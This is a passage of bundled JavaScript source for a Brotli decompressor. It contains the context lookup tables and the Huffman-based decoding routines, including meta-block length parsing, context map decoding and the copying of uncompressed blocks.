context = kContextLookup[p1] | kContextLookup[p2 + 256].
If the previous two bytes are ASCII characters (i.e. < 128), this will be
equivalent to
context = 4 * context1(p1) + context2(p2),
where context1 is based on the previous byte in the following way:
0 : non-ASCII control
1 : \t, \n, \r
2 : space
3 : other punctuation
4 : " '
5 : %
6 : ( < [ {
7 : ) > ] }
8 : , ; :
9 : .
10 : =
11 : number
12 : upper-case vowel
13 : upper-case consonant
14 : lower-case vowel
15 : lower-case consonant
and context2 is based on the second last byte:
0 : control, space
1 : punctuation
2 : upper-case letter, number
3 : lower-case letter
If the last byte is ASCII, and the second last byte is not (in a valid UTF8
stream it will be a continuation byte, value between 128 and 191), the
context is the same as if the second last byte was an ASCII control or space.
If the last byte is a UTF8 lead byte (value >= 192), then the next byte will
be a continuation byte and the context id is 2 or 3 depending on the LSB of
the last byte and to a lesser extent on the second last byte if it is ASCII.
If the last byte is a UTF8 continuation byte, the second last byte can be:
- continuation byte: the next byte is probably ASCII or lead byte (assuming
4-byte UTF8 characters are rare) and the context id is 0 or 1.
- lead byte (192 - 207): next byte is ASCII or lead byte, context is 0 or 1
- lead byte (208 - 255): next byte is continuation byte, context is 2 or 3
The possible value combinations of the previous two bytes, the range of
context ids and the type of the next byte is summarized in the table below:
|--------\-----------------------------------------------------------------|
| \ Last byte |
| Second \---------------------------------------------------------------|
| last byte \ ASCII | cont. byte | lead byte |
| \ (0-127) | (128-191) | (192-) |
|=============|===================|=====================|==================|
| ASCII | next: ASCII/lead | not valid | next: cont. |
| (0-127) | context: 4 - 63 | | context: 2 - 3 |
|-------------|-------------------|---------------------|------------------|
| cont. byte | next: ASCII/lead | next: ASCII/lead | next: cont. |
| (128-191) | context: 4 - 63 | context: 0 - 1 | context: 2 - 3 |
|-------------|-------------------|---------------------|------------------|
| lead byte | not valid | next: ASCII/lead | not valid |
| (192-207) | | context: 0 - 1 | |
|-------------|-------------------|---------------------|------------------|
| lead byte | not valid | next: cont. | not valid |
| (208-) | | context: 2 - 3 | |
|-------------|-------------------|---------------------|------------------|
The context id for the signed context mode is calculated as:
context = (kContextLookup[512 + p1] << 3) | kContextLookup[512 + p2].
For any context modeling modes, the context ids can be calculated by |-ing
together two lookups from one table using context model dependent offsets:
context = kContextLookup[offset1 + p1] | kContextLookup[offset2 + p2].
where offset1 and offset2 are dependent on the context mode.
*/
var CONTEXT_LSB6 = 0;
var CONTEXT_MSB6 = 1;
var CONTEXT_UTF8 = 2;
var CONTEXT_SIGNED = 3;
/* Common context lookup table for all context modes. */
exports.lookup = new Uint8Array([
/* CONTEXT_UTF8, last byte. */
/* ASCII range. */
0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 4, 0, 0, 4, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
8, 12, 16, 12, 12, 20, 12, 16, 24, 28, 12, 12, 32, 12, 36, 12,
44, 44, 44, 44, 44, 44, 44, 44, 44, 44, 32, 32, 24, 40, 28, 12,
12, 48, 52, 52, 52, 48, 52, 52, 52, 48, 52, 52, 52, 52, 52, 48,
52, 52, 52, 52, 52, 48, 52, 52, 52, 52, 52, 24, 12, 28, 12, 12,
12, 56, 60, 60, 60, 56, 60, 60, 60, 56, 60, 60, 60, 60, 60, 56,
60, 60, 60, 60, 60, 56, 60, 60, 60, 60, 60, 24, 12, 28, 12, 0,
/* UTF8 continuation byte range. */
0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1,
/* UTF8 lead byte range. */
2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3,
2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3,
2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3,
2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3, 2, 3,
/* CONTEXT_UTF8 second last byte. */
/* ASCII range. */
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1,
1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1,
1, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 1, 1, 1, 1, 0,
/* UTF8 continuation byte range. */
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
/* UTF8 lead byte range. */
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
/* CONTEXT_SIGNED, second last byte. */
0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,
3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3,
4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,
4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,
4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,
4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4,
5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5,
6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7,
/* CONTEXT_SIGNED, last byte, same as the above values shifted by 3 bits. */
0, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8, 8,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,
16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16, 16,
24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,
32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,
32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,
32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40, 40,
48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 48, 56,
/* CONTEXT_LSB6, last byte. */
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15,
16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31,
32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63,
/* CONTEXT_MSB6, last byte. */
0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3,
4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 6, 6, 7, 7, 7, 7,
8, 8, 8, 8, 9, 9, 9, 9, 10, 10, 10, 10, 11, 11, 11, 11,
12, 12, 12, 12, 13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15,
16, 16, 16, 16, 17, 17, 17, 17, 18, 18, 18, 18, 19, 19, 19, 19,
20, 20, 20, 20, 21, 21, 21, 21, 22, 22, 22, 22, 23, 23, 23, 23,
24, 24, 24, 24, 25, 25, 25, 25, 26, 26, 26, 26, 27, 27, 27, 27,
28, 28, 28, 28, 29, 29, 29, 29, 30, 30, 30, 30, 31, 31, 31, 31,
32, 32, 32, 32, 33, 33, 33, 33, 34, 34, 34, 34, 35, 35, 35, 35,
36, 36, 36, 36, 37, 37, 37, 37, 38, 38, 38, 38, 39, 39, 39, 39,
40, 40, 40, 40, 41, 41, 41, 41, 42, 42, 42, 42, 43, 43, 43, 43,
44, 44, 44, 44, 45, 45, 45, 45, 46, 46, 46, 46, 47, 47, 47, 47,
48, 48, 48, 48, 49, 49, 49, 49, 50, 50, 50, 50, 51, 51, 51, 51,
52, 52, 52, 52, 53, 53, 53, 53, 54, 54, 54, 54, 55, 55, 55, 55,
56, 56, 56, 56, 57, 57, 57, 57, 58, 58, 58, 58, 59, 59, 59, 59,
60, 60, 60, 60, 61, 61, 61, 61, 62, 62, 62, 62, 63, 63, 63, 63,
/* CONTEXT_{M,L}SB6, second last byte, */
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
]);
exports.lookupOffsets = new Uint16Array([
/* CONTEXT_LSB6 */
1024, 1536,
/* CONTEXT_MSB6 */
1280, 1536,
/* CONTEXT_UTF8 */
0, 256,
/* CONTEXT_SIGNED */
768, 512,
]);
},{}],3:[function(require,module,exports){
/* Copyright 2013 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
var BrotliInput = require('./streams').BrotliInput;
var BrotliOutput = require('./streams').BrotliOutput;
var BrotliBitReader = require('./bit_reader');
var BrotliDictionary = require('./dictionary');
var HuffmanCode = require('./huffman').HuffmanCode;
var BrotliBuildHuffmanTable = require('./huffman').BrotliBuildHuffmanTable;
var Context = require('./context');
var Prefix = require('./prefix');
var Transform = require('./transform');
var kDefaultCodeLength = 8;
var kCodeLengthRepeatCode = 16;
var kNumLiteralCodes = 256;
var kNumInsertAndCopyCodes = 704;
var kNumBlockLengthCodes = 26;
var kLiteralContextBits = 6;
var kDistanceContextBits = 2;
var HUFFMAN_TABLE_BITS = 8;
var HUFFMAN_TABLE_MASK = 0xff;
/* Maximum possible Huffman table size for an alphabet size of 704, max code
* length 15 and root table bits 8. */
var HUFFMAN_MAX_TABLE_SIZE = 1080;
var CODE_LENGTH_CODES = 18;
var kCodeLengthCodeOrder = new Uint8Array([
1, 2, 3, 4, 0, 5, 17, 6, 16, 7, 8, 9, 10, 11, 12, 13, 14, 15,
]);
var NUM_DISTANCE_SHORT_CODES = 16;
var kDistanceShortCodeIndexOffset = new Uint8Array([
3, 2, 1, 0, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2
]);
var kDistanceShortCodeValueOffset = new Int8Array([
0, 0, 0, 0, -1, 1, -2, 2, -3, 3, -1, 1, -2, 2, -3, 3
]);
var kMaxHuffmanTableSize = new Uint16Array([
256, 402, 436, 468, 500, 534, 566, 598, 630, 662, 694, 726, 758, 790, 822,
854, 886, 920, 952, 984, 1016, 1048, 1080
]);
function DecodeWindowBits(br) {
var n;
if (br.readBits(1) === 0) {
return 16;
}
n = br.readBits(3);
if (n > 0) {
return 17 + n;
}
n = br.readBits(3);
if (n > 0) {
return 8 + n;
}
return 17;
}
/* Decodes a number in the range [0..255], by reading 1 - 11 bits. */
function DecodeVarLenUint8(br) {
if (br.readBits(1)) {
var nbits = br.readBits(3);
if (nbits === 0) {
return 1;
} else {
return br.readBits(nbits) + (1 << nbits);
}
}
return 0;
}
function MetaBlockLength() {
this.meta_block_length = 0;
this.input_end = 0;
this.is_uncompressed = 0;
this.is_metadata = false;
}
function DecodeMetaBlockLength(br) {
var out = new MetaBlockLength;
var size_nibbles;
var size_bytes;
var i;
out.input_end = br.readBits(1);
if (out.input_end && br.readBits(1)) {
return out;
}
size_nibbles = br.readBits(2) + 4;
if (size_nibbles === 7) {
out.is_metadata = true;
if (br.readBits(1) !== 0)
throw new Error('Invalid reserved bit');
size_bytes = br.readBits(2);
if (size_bytes === 0)
return out;
for (i = 0; i < size_bytes; i++) {
var next_byte = br.readBits(8);
if (i + 1 === size_bytes && size_bytes > 1 && next_byte === 0)
throw new Error('Invalid size byte');
out.meta_block_length |= next_byte << (i * 8);
}
} else {
for (i = 0; i < size_nibbles; ++i) {
var next_nibble = br.readBits(4);
if (i + 1 === size_nibbles && size_nibbles > 4 && next_nibble === 0)
throw new Error('Invalid size nibble');
out.meta_block_length |= next_nibble << (i * 4);
}
}
++out.meta_block_length;
if (!out.input_end && !out.is_metadata) {
out.is_uncompressed = br.readBits(1);
}
return out;
}
/* Decodes the next Huffman code from bit-stream. */
function ReadSymbol(table, index, br) {
var start_index = index;
var nbits;
br.fillBitWindow();
index += (br.val_ >>> br.bit_pos_) & HUFFMAN_TABLE_MASK;
nbits = table[index].bits - HUFFMAN_TABLE_BITS;
if (nbits > 0) {
br.bit_pos_ += HUFFMAN_TABLE_BITS;
index += table[index].value;
index += (br.val_ >>> br.bit_pos_) & ((1 << nbits) - 1);
}
br.bit_pos_ += table[index].bits;
return table[index].value;
}
function ReadHuffmanCodeLengths(code_length_code_lengths, num_symbols, code_lengths, br) {
var symbol = 0;
var prev_code_len = kDefaultCodeLength;
var repeat = 0;
var repeat_code_len = 0;
var space = 32768;
var table = [];
for (var i = 0; i < 32; i++)
table.push(new HuffmanCode(0, 0));
BrotliBuildHuffmanTable(table, 0, 5, code_length_code_lengths, CODE_LENGTH_CODES);
while (symbol < num_symbols && space > 0) {
var p = 0;
var code_len;
br.readMoreInput();
br.fillBitWindow();
p += (br.val_ >>> br.bit_pos_) & 31;
br.bit_pos_ += table[p].bits;
code_len = table[p].value & 0xff;
if (code_len < kCodeLengthRepeatCode) {
repeat = 0;
code_lengths[symbol++] = code_len;
if (code_len !== 0) {
prev_code_len = code_len;
space -= 32768 >> code_len;
}
} else {
var extra_bits = code_len - 14;
var old_repeat;
var repeat_delta;
var new_len = 0;
if (code_len === kCodeLengthRepeatCode) {
new_len = prev_code_len;
}
if (repeat_code_len !== new_len) {
repeat = 0;
repeat_code_len = new_len;
}
old_repeat = repeat;
if (repeat > 0) {
repeat -= 2;
repeat <<= extra_bits;
}
repeat += br.readBits(extra_bits) + 3;
repeat_delta = repeat - old_repeat;
if (symbol + repeat_delta > num_symbols) {
throw new Error('[ReadHuffmanCodeLengths] symbol + repeat_delta > num_symbols');
}
for (var x = 0; x < repeat_delta; x++)
code_lengths[symbol + x] = repeat_code_len;
symbol += repeat_delta;
if (repeat_code_len !== 0) {
space -= repeat_delta << (15 - repeat_code_len);
}
}
}
if (space !== 0) {
throw new Error("[ReadHuffmanCodeLengths] space = " + space);
}
for (; symbol < num_symbols; symbol++)
code_lengths[symbol] = 0;
}
function ReadHuffmanCode(alphabet_size, tables, table, br) {
var table_size = 0;
var simple_code_or_skip;
var code_lengths = new Uint8Array(alphabet_size);
br.readMoreInput();
/* simple_code_or_skip is used as follows:
1 for simple code;
0 for no skipping, 2 skips 2 code lengths, 3 skips 3 code lengths */
simple_code_or_skip = br.readBits(2);
if (simple_code_or_skip === 1) {
/* Read symbols, codes & code lengths directly. */
var i;
var max_bits_counter = alphabet_size - 1;
var max_bits = 0;
var symbols = new Int32Array(4);
var num_symbols = br.readBits(2) + 1;
while (max_bits_counter) {
max_bits_counter >>= 1;
++max_bits;
}
for (i = 0; i < num_symbols; ++i) {
symbols[i] = br.readBits(max_bits) % alphabet_size;
code_lengths[symbols[i]] = 2;
}
code_lengths[symbols[0]] = 1;
switch (num_symbols) {
case 1:
break;
case 3:
if ((symbols[0] === symbols[1]) ||
(symbols[0] === symbols[2]) ||
(symbols[1] === symbols[2])) {
throw new Error('[ReadHuffmanCode] invalid symbols');
}
break;
case 2:
if (symbols[0] === symbols[1]) {
throw new Error('[ReadHuffmanCode] invalid symbols');
}
code_lengths[symbols[1]] = 1;
break;
case 4:
if ((symbols[0] === symbols[1]) ||
(symbols[0] === symbols[2]) ||
(symbols[0] === symbols[3]) ||
(symbols[1] === symbols[2]) ||
(symbols[1] === symbols[3]) ||
(symbols[2] === symbols[3])) {
throw new Error('[ReadHuffmanCode] invalid symbols');
}
if (br.readBits(1)) {
code_lengths[symbols[2]] = 3;
code_lengths[symbols[3]] = 3;
} else {
code_lengths[symbols[0]] = 2;
}
break;
}
} else { /* Decode Huffman-coded code lengths. */
var i;
var code_length_code_lengths = new Uint8Array(CODE_LENGTH_CODES);
var space = 32;
var num_codes = 0;
/* Static Huffman code for the code length code lengths */
var huff = [
new HuffmanCode(2, 0), new HuffmanCode(2, 4), new HuffmanCode(2, 3), new HuffmanCode(3, 2),
new HuffmanCode(2, 0), new HuffmanCode(2, 4), new HuffmanCode(2, 3), new HuffmanCode(4, 1),
new HuffmanCode(2, 0), new HuffmanCode(2, 4), new HuffmanCode(2, 3), new HuffmanCode(3, 2),
new HuffmanCode(2, 0), new HuffmanCode(2, 4), new HuffmanCode(2, 3), new HuffmanCode(4, 5)
];
for (i = simple_code_or_skip; i < CODE_LENGTH_CODES && space > 0; ++i) {
var code_len_idx = kCodeLengthCodeOrder[i];
var p = 0;
var v;
br.fillBitWindow();
p += (br.val_ >>> br.bit_pos_) & 15;
br.bit_pos_ += huff[p].bits;
v = huff[p].value;
code_length_code_lengths[code_len_idx] = v;
if (v !== 0) {
space -= (32 >> v);
++num_codes;
}
}
if (!(num_codes === 1 || space === 0))
throw new Error('[ReadHuffmanCode] invalid num_codes or space');
ReadHuffmanCodeLengths(code_length_code_lengths, alphabet_size, code_lengths, br);
}
table_size = BrotliBuildHuffmanTable(tables, table, HUFFMAN_TABLE_BITS, code_lengths, alphabet_size);
if (table_size === 0) {
throw new Error("[ReadHuffmanCode] BuildHuffmanTable failed: ");
}
return table_size;
}
function ReadBlockLength(table, index, br) {
var code;
var nbits;
code = ReadSymbol(table, index, br);
nbits = Prefix.kBlockLengthPrefixCode[code].nbits;
return Prefix.kBlockLengthPrefixCode[code].offset + br.readBits(nbits);
}
function TranslateShortCodes(code, ringbuffer, index) {
var val;
if (code < NUM_DISTANCE_SHORT_CODES) {
index += kDistanceShortCodeIndexOffset[code];
index &= 3;
val = ringbuffer[index] + kDistanceShortCodeValueOffset[code];
} else {
val = code - NUM_DISTANCE_SHORT_CODES + 1;
}
return val;
}
function MoveToFront(v, index) {
var value = v[index];
var i = index;
for (; i; --i) v[i] = v[i - 1];
v[0] = value;
}
function InverseMoveToFrontTransform(v, v_len) {
var mtf = new Uint8Array(256);
var i;
for (i = 0; i < 256; ++i) {
mtf[i] = i;
}
for (i = 0; i < v_len; ++i) {
var index = v[i];
v[i] = mtf[index];
if (index) MoveToFront(mtf, index);
}
}
/* Contains a collection of huffman trees with the same alphabet size. */
function HuffmanTreeGroup(alphabet_size, num_htrees) {
this.alphabet_size = alphabet_size;
this.num_htrees = num_htrees;
this.codes = new Array(num_htrees + num_htrees * kMaxHuffmanTableSize[(alphabet_size + 31) >>> 5]);
this.htrees = new Uint32Array(num_htrees);
}
HuffmanTreeGroup.prototype.decode = function(br) {
var i;
var table_size;
var next = 0;
for (i = 0; i < this.num_htrees; ++i) {
this.htrees[i] = next;
table_size = ReadHuffmanCode(this.alphabet_size, this.codes, next, br);
next += table_size;
}
};
function DecodeContextMap(context_map_size, br) {
var out = { num_htrees: null, context_map: null };
var use_rle_for_zeros;
var max_run_length_prefix = 0;
var table;
var i;
br.readMoreInput();
var num_htrees = out.num_htrees = DecodeVarLenUint8(br) + 1;
var context_map = out.context_map = new Uint8Array(context_map_size);
if (num_htrees <= 1) {
return out;
}
use_rle_for_zeros = br.readBits(1);
if (use_rle_for_zeros) {
max_run_length_prefix = br.readBits(4) + 1;
}
table = [];
for (i = 0; i < HUFFMAN_MAX_TABLE_SIZE; i++) {
table[i] = new HuffmanCode(0, 0);
}
ReadHuffmanCode(num_htrees + max_run_length_prefix, table, 0, br);
for (i = 0; i < context_map_size;) {
var code;
br.readMoreInput();
code = ReadSymbol(table, 0, br);
if (code === 0) {
context_map[i] = 0;
++i;
} else if (code <= max_run_length_prefix) {
var reps = 1 + (1 << code) + br.readBits(code);
while (--reps) {
if (i >= context_map_size) {
throw new Error("[DecodeContextMap] i >= context_map_size");
}
context_map[i] = 0;
++i;
}
} else {
context_map[i] = code - max_run_length_prefix;
++i;
}
}
if (br.readBits(1)) {
InverseMoveToFrontTransform(context_map, context_map_size);
}
return out;
}
function DecodeBlockType(max_block_type, trees, tree_type, block_types, ringbuffers, indexes, br) {
var ringbuffer = tree_type * 2;
var index = tree_type;
var type_code = ReadSymbol(trees, tree_type * HUFFMAN_MAX_TABLE_SIZE, br);
var block_type;
if (type_code === 0) {
block_type = ringbuffers[ringbuffer + (indexes[index] & 1)];
} else if (type_code === 1) {
block_type = ringbuffers[ringbuffer + ((indexes[index] - 1) & 1)] + 1;
} else {
block_type = type_code - 2;
}
if (block_type >= max_block_type) {
block_type -= max_block_type;
}
block_types[tree_type] = block_type;
ringbuffers[ringbuffer + (indexes[index] & 1)] = block_type;
++indexes[index];
}
function CopyUncompressedBlockToOutput(output, len, pos, ringbuffer, ringbuffer_mask, br) {
var rb_size = ringbuffer_mask + 1;
var rb_pos = pos & ringbuffer_mask;
var br_pos = br.pos_ & BrotliBitReader.IBUF_MASK;
var nbytes;
/* For short lengths copy byte-by-byte */
if (len < 8 || br.bit_pos_ + (len << 3) < br.bit_end_pos_) {
while (len-- > 0) {
br.readMoreInput();
ringbuffer[rb_pos++] = br.readBits(8);
if (rb_pos === rb_size) {
output.write(ringbuffer, rb_size);
rb_pos = 0;
}
}
return;
}
if (br.bit_end_pos_ < 32) {
throw new Error('[CopyUncompressedBlockToOutput] br.bit_end_pos_ < 32');
}
/* Copy remaining 0-4 bytes from br.val_ to ringbuffer. */
while (br.bit_pos_ < 32) {
ringbuffer[rb_pos] = (br.val_ >>> br.bit_pos_);
br.bit_pos_ += 8;
++rb_pos;
--len;
}
/* Copy remaining bytes from br.buf_ to ringbuffer. */
nbytes = (br.bit_end_pos_ - br.bit_pos_) >> 3;
if (br_pos + nbytes > BrotliBitReader.IBUF_MASK) {
var tail = BrotliBitReader.IBUF_MASK + 1 - br_pos;
for (var x = 0; x < tail; x++)
ringbuffer[rb_pos + x] = br.buf_[br_pos + x];
nbytes -= tail;
rb_pos += tail;
len -= tail;
br_pos = 0;
}
for (var x = 0; x < nbytes; x++)
ringbuffer[rb_pos + x] = br.buf_[br_pos + x];
rb_pos += nbytes;
len -= nbytes;
/* If we wrote past the logical end of the ringbuffer, copy the tail of the
ringbuffer to its beginning and flush the ringbuffer to the output. */
if (rb_pos >= rb_size) {
output.write(ringbuffer, rb_size);
rb_pos -= rb_size;
for (var x = 0; x < rb_pos; x++)
ringbuffer[x] = ringbuffer[rb_size + x];
}
/* If we have more to copy than the remaining size of the ringbuffer, then we
first fill the ringbuffer from the input and then flush the ringbuffer to
the output */
while (rb_pos + len >= rb_size) {
nbytes = rb_size - rb_pos;
if (br.input_.read(ringbuffer, rb_pos, nbytes) < nbytes) {
throw new Error('[CopyUncompressedBlockToOutput] not enough bytes');
}
output.write(ringbuffer, rb_size);
len -= nbytes;
rb_pos = 0;
}
/* Copy straight from the input onto the ringbuffer. The ringbuffer will be
flushed to the output at a later time. */
if (br.input_.read(ringbuffer, rb_pos, len) < len) {
throw new Error('[CopyUncompressedBlockToOutput] not enough bytes');
}
/* Restore the state of the bit reader. */
br.reset();
}
/* Advances the bit reader position to the next byte boundary and verifies
that any skipped bits are set to zero. */
function JumpToByteBoundary(br) {
var new_bit_pos = (br.bit_pos_ + 7) & ~7;
var pad_bits = br.readBits(new_bit_pos - br.bit_pos_);
return pad_bits == 0;
}
function BrotliDecompressedSize(buffer) {
var input = new BrotliInput(buffer);
var br = new BrotliBitReader(input);
DecodeWindowBits(br);
var out = DecodeMetaBlockLength(br);
return out.meta_block_length;
}
exports.BrotliDecompressedSize = BrotliDecompressedSize;
function BrotliDecompressBuffer(buffer, output_size) {
var input = new BrotliInput(buffer);
if (output_size == null) {
output_size = BrotliDecompressedSize(buffer);
}
var output_buffer = new Uint8Array(output_size);
var output = new BrotliOutput(output_buffer);
BrotliDecompress(input, output);
if (output.pos < output.buffer.length) {
output.buffer = output.buffer.subarray(0, output.pos);
}
return output.buffer;
}
exports.BrotliDecompressBuffer = BrotliDecompressBuffer;
function BrotliDecompress(input, output) {
var i;
var pos = 0;
var input_end = 0;
var window_bits = 0;
var max_backward_distance;
var max_distance = 0;
var ringbuffer_size;
var ringbuffer_mask;
var ringbuffer;
var ringbuffer_end;
/* This ring buffer holds a few past copy distances that will be used by */
/* some special distance codes. */
var dist_rb = [ 16, 15, 11, 4 ];
var dist_rb_idx = 0;
/* The previous 2 bytes used for context. */
var prev_byte1 = 0;
var prev_byte2 = 0;
